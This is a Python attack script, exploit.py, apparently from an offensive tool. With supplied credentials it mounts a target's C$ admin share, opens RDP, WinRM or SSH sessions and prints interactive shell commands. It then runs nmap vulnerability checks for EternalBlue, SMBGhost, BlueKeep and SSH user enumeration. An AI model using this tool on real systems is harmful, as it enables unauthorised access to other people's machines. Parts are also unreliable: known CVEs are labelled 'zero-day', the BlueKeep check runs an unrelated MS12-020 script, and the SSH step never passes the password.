exploit.py

import subprocess
from utils import color_text, Colors

port_priorities = {
    445: "SMB - Full File Access (Map C$ drive)",
    3389: "RDP - Full GUI Desktop Control",
    5985: "WinRM HTTP - Silent Command Shell",
    5986: "WinRM HTTPS - Encrypted Command Shell",
    139: "NetBIOS - Fallback File Access",
    22: "SSH - Linux-Style Shell"
}

vuln_port_priorities = {
    445: "SMB - EternalBlue (MS17-010) / SMBGhost",
    3389: "RDP - BlueKeep (CVE-2019-0708)",
    5985: "WinRM - No-auth access (rare)",
    5986: "WinRM HTTPS - No-auth access (rare)",
    139: "NetBIOS - Info disclosure",
    22: "SSH - Weak credentials / CVE-2016-6210"
}

def attack_with_credentials(ip, username, password, open_ports):
    available = [p for p in open_ports if p in port_priorities]
    
    if not available:
        print(color_text("[-] No exploitable ports found.", Colors.RED))
        return
    
    print(color_text("\n[+] Available ports to attack:", Colors.GREEN))
    for i, port in enumerate(available, 1):
        print(f"    {i}. {port} ({port_priorities[port]})")
    
    print("\n[?] Choose an option:")
    print("    1. Let the tool choose the best port automatically")
    print("    2. Choose a specific port (enter number)")
    
    choice = input("\n[?] Enter 1 or 2: ").strip()
    
    if choice == "2":
        try:
            port_index = int(input(f"[?] Enter port number (1-{len(available)}): ").strip()) - 1
            if port_index < 0 or port_index >= len(available):
                print(color_text("[-] Invalid selection. Using automatic choice.", Colors.YELLOW))
                target_port = available[0]
            else:
                target_port = available[port_index]
        except:
            print(color_text("[-] Invalid input. Using automatic choice.", Colors.YELLOW))
            target_port = available[0]
    else:
        if 445 in available:
            target_port = 445
        elif 3389 in available:
            target_port = 3389
        elif 5985 in available:
            target_port = 5985
        elif 5986 in available:
            target_port = 5986
        elif 139 in available:
            target_port = 139
        elif 22 in available:
            target_port = 22
        else:
            target_port = available[0]
    
    print(color_text(f"\n[+] Attacking via port {target_port} ({port_priorities[target_port]})...", Colors.BLUE))
    
    if target_port == 445:
        result = subprocess.run(
            ['net', 'use', 'Z:', f'\\\\{ip}\\C$', f'/user:{username}', password],
            capture_output=True, text=True
        )
        if result.returncode == 0:
            print(color_text(f"[+] SUCCESS! Mapped \\\\{ip}\\C$ to Z: drive.", Colors.GREEN))
        else:
            print(color_text(f"[-] Failed: {result.stderr}", Colors.RED))
    
    elif target_port == 3389:
        print(color_text(f"[+] Launching RDP connection to {ip}...", Colors.GREEN))
        subprocess.Popen(['mstsc', '/v:' + ip])
        print(color_text(f"[+] Login with: {username} / {password}", Colors.BLUE))
    
    elif target_port == 5985:
        result = subprocess.run(
            ['winrs', '-r:http://' + ip + ':5985', '-u:' + username, '-p:' + password, 'cmd', '/c', 'whoami'],
            capture_output=True, text=True
        )
        if result.returncode == 0:
            print(color_text(f"[+] SUCCESS! WinRM shell established.", Colors.GREEN))
            print(f"[+] Output: {result.stdout}")
            print(color_text(f"[+] Interactive: winrs -r:http://{ip}:5985 -u:{username} -p:{password} cmd", Colors.BLUE))
        else:
            print(color_text(f"[-] Failed: {result.stderr}", Colors.RED))
    
    elif target_port == 5986:
        result = subprocess.run(
            ['winrs', '-r:https://' + ip + ':5986', '-u:' + username, '-p:' + password, 'cmd', '/c', 'whoami'],
            capture_output=True, text=True
        )
        if result.returncode == 0:
            print(color_text(f"[+] SUCCESS! Secure WinRM shell established.", Colors.GREEN))
            print(f"[+] Output: {result.stdout}")
            print(color_text(f"[+] Interactive: winrs -r:https://{ip}:5986 -u:{username} -p:{password} cmd", Colors.BLUE))
        else:
            print(color_text(f"[-] Failed: {result.stderr}", Colors.RED))
    
    elif target_port == 139:
        result = subprocess.run(
            ['net', 'use', 'Y:', f'\\\\{ip}\\C$', f'/user:{username}', password],
            capture_output=True, text=True
        )
        if result.returncode == 0:
            print(color_text(f"[+] SUCCESS! Mapped \\\\{ip}\\C$ to Y: drive (NetBIOS).", Colors.GREEN))
        else:
            print(color_text(f"[-] Failed: {result.stderr}", Colors.RED))
    
    elif target_port == 22:
        result = subprocess.run(
            ['ssh', '-o', 'StrictHostKeyChecking=no', f'{username}@{ip}', 'whoami'],
            capture_output=True, text=True
        )
        if result.returncode == 0:
            print(color_text(f"[+] SUCCESS! SSH connection established.", Colors.GREEN))
            print(f"[+] Output: {result.stdout}")
            print(color_text(f"[+] Interactive: ssh {username}@{ip}", Colors.BLUE))
        else:
            print(color_text(f"[-] Failed: {result.stderr}", Colors.RED))
    
    print(color_text("\n[+] Attack complete.", Colors.GREEN))

def attack_zero_day(ip, open_ports, msf_path=None):
    available = [p for p in open_ports if p in vuln_port_priorities]
    
    if not available:
        print(color_text("[-] No exploitable ports found without credentials.", Colors.YELLOW))
        return
    
    print(color_text("\n[+] Checking for zero-day vulnerabilities:", Colors.BLUE))
    
    if 445 in open_ports:
        print(color_text("[+] Checking for EternalBlue (MS17-010)...", Colors.BLUE))
        result = subprocess.run(
            ['nmap', '-p', '445', '--script', 'smb-vuln-ms17-010', ip],
            capture_output=True, text=True
        )
        if "VULNERABLE" in result.stdout:
            print(color_text("[!] EternalBlue VULNERABLE!", Colors.RED))
        else:
            print(color_text("[-] Not vulnerable to EternalBlue.", Colors.GREEN))
        
        print(color_text("[+] Checking for SMBGhost (CVE-2020-0796)...", Colors.BLUE))
        result2 = subprocess.run(
            ['nmap', '-p', '445', '--script', 'smb-vuln-cve-2020-0796', ip],
            capture_output=True, text=True
        )
        if "VULNERABLE" in result2.stdout:
            print(color_text("[!] SMBGhost VULNERABLE!", Colors.RED))
        else:
            print(color_text("[-] Not vulnerable to SMBGhost.", Colors.GREEN))
    
    if 3389 in open_ports:
        print(color_text("[+] Checking for BlueKeep (CVE-2019-0708)...", Colors.BLUE))
        result = subprocess.run(
            ['nmap', '-p', '3389', '--script', 'rdp-vuln-ms12-020', ip],
            capture_output=True, text=True
        )
        if "VULNERABLE" in result.stdout:
            print(color_text("[!] BlueKeep VULNERABLE!", Colors.RED))
        else:
            print(color_text("[-] Not vulnerable to BlueKeep.", Colors.GREEN))
    
    if 5985 in open_ports:
        print(color_text("[+] Checking for WinRM no-auth access...", Colors.BLUE))
        result = subprocess.run(
            ['nmap', '-p', '5985', '--script', 'winrm-enum', ip],
            capture_output=True, text=True
        )
        if "Guest" in result.stdout or "Administrator" in result.stdout:
            print(color_text("[!] WinRM may have no-auth access!", Colors.YELLOW))
        else:
            print(color_text("[-] WinRM requires authentication.", Colors.GREEN))
    
    if 5986 in open_ports:
        print(color_text("[+] Checking for WinRM HTTPS no-auth access...", Colors.BLUE))
        result = subprocess.run(
            ['nmap', '-p', '5986', '--script', 'winrm-enum', ip],
            capture_output=True, text=True
        )
        if "Guest" in result.stdout or "Administrator" in result.stdout:
            print(color_text("[!] WinRM HTTPS may have no-auth access!", Colors.YELLOW))
        else:
            print(color_text("[-] WinRM HTTPS requires authentication.", Colors.GREEN))
    
    if 139 in open_ports:
        print(color_text("[+] Checking for NetBIOS info disclosure...", Colors.BLUE))
        result = subprocess.run(
            ['nmap', '-p', '139', '--script', 'nbstat', ip],
            capture_output=True, text=True
        )
        if "NETBIOS" in result.stdout or "WORKGROUP" in result.stdout:
            print(color_text("[!] NetBIOS information leaked!", Colors.YELLOW))
            print(f"[+] Output:\n{result.stdout}")
        else:
            print(color_text("[-] No NetBIOS info leaked.", Colors.GREEN))
    
    if 22 in open_ports:
        print(color_text("[+] Checking for SSH vulnerabilities...", Colors.BLUE))
        result = subprocess.run(
            ['nmap', '-p', '22', '--script', 'ssh*', ip],
            capture_output=True, text=True
        )
        if "CVE-2016-6210" in result.stdout:
            print(color_text("[!] SSH CVE-2016-6210 (User Enumeration) VULNERABLE!", Colors.RED))
        elif "CVE-2018-15473" in result.stdout:
            print(color_text("[!] SSH CVE-2018-15473 (User Enumeration) VULNERABLE!", Colors.RED))
        else:
            print(color_text("[-] No SSH vulnerabilities detected.", Colors.GREEN))
    
    print(color_text("\n[+] Vulnerability check complete.", Colors.GREEN))